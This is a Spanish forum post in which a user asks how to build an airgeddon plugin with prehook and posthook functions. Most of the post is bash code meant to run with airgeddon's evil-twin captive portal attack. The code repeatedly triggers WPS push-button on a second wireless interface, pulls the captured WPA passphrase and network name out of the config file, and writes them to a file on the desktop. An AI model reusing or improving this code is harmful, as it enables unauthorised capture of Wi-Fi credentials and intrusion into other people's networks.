salu2
perdona no quiero resultar pesao
entiendo que es una pena el sistema de plugins que te has currao y que apenas se use
pero necesitamos que nos muestres algo mas de info a mi a otros usuarios
y yo pues tampoco quiero morir tonto

no se si entiendo bien lo de prehook postkook y demas pero sencillamente si das un poco de luz de como crear la gente se animara y lo vera mas facil
plugin_name="pruebas.sh"
plugin_description="Wpa_supplicant + wps_cli iface2 capture pussbutton"
plugin_author="Only-Crazy"
nonbre que hace y tal y tal bien
---------
function plugin_template_override_somefunction() {
select_secondary_et_interface
exec_et_captive_portal_attack
}
Las funciones que se usaran para llamar a que se ejecute lo deseado
---------
function my_super_pr0_plugin_prehook_supplicant {
select_secondary_et_interface
echo "ctrl_interface=/var/run/wpa_supplicant
ctrl_interface_group=root
update_config=1" >> "/tmp/supplicant.conf"
}
cuando se ejecute la funcion select_secondary_et_interface para pursuit_mode guarde configuracion en /tmp/
------------
function my_super_pr0_plugin_posthook_supplicant() {
exec_et_captive_portal_attack
while true ; do
wpa_supplicant -c /tmp/supplicant.conf -D nl80211 -i ${secondary_wifi_interface} -B 2>/dev/null &
sleep 1
wpa_cli -i ${secondary_wifi_interface} wps_pbc any 2>/dev/null
if ( grep -q "network=" /tmp/supplicant.conf ) ; then
echo -e "\t Key negociation completada!"
wpakey=$( grep "psk=" /tmp/supplicant.conf | cut -d = -f 2 | cut -c 2- | rev | cut -c 2- | rev )
essid=$( grep "ssid=" /tmp/supplicant.conf | cut -d = -f 2 | tr -d '"' )
killall wpa_supplicant dhclient &>/dev/null
echo -e "\t Key negociation completed! $wpakey" >>/root/Desktop/clave.txt
echo -e "\t WPA Key: $essid"$rescolor>>/root/Desktop/clave.txt
echo -e "\t $essid : $wpakey"
rm -rf /tmp/supplicant.conf
sleep 5
exit
fi
sleep 120 2>/dev/null
done
}
que se ejecute cuando se inicie al AP o la funcion exec_et_captive_portal_attack
como lo harias porfa si lo haces o das mas info te lo pillariamos a la primera yo y fijo mas usuarios pues es simple parece ¿lo que quiero hacer eso creo
un bucle en segunda iface que cada 120 segundos reinicie suplicant creo que lo soportaria bien la segunda iface
NOTA : el code es recogido PBC-master de Kdctv tenia algo mas pero bueno para pruebas y demas creo que es perfecto
----
edito
es que si es llamando a cada funcion no entiendo simplificando
###### CUSTOM FUNCTIONS ######
function plugin_template_override_somefunction() {
select_secondary_et_interface
exec_et_captive_portal_attack
}
###### FUNCTION HOOKING: PREHOOK ######
function select_secondary_et_interface {
echo "ctrl_interface=/var/run/wpa_supplicant
ctrl_interface_group=root
update_config=1" >> "/tmp/supplicant.conf"
}
###### FUNCTION HOOKING: POSTHOOK ######
function exec_et_captive_portal_attack {
wpa_supplicant -c /tmp/supplicant.conf -D nl80211 -i ${secondary_wifi_interface} -B 2>/dev/null &
}
pero al parecer hay que tener cuidado
###### FUNCTION HOOKING: OVERRIDE ######
#Overridden function example
#This will replace an existing function in main airgeddon script to change its behavior in order to execute this content instead of the original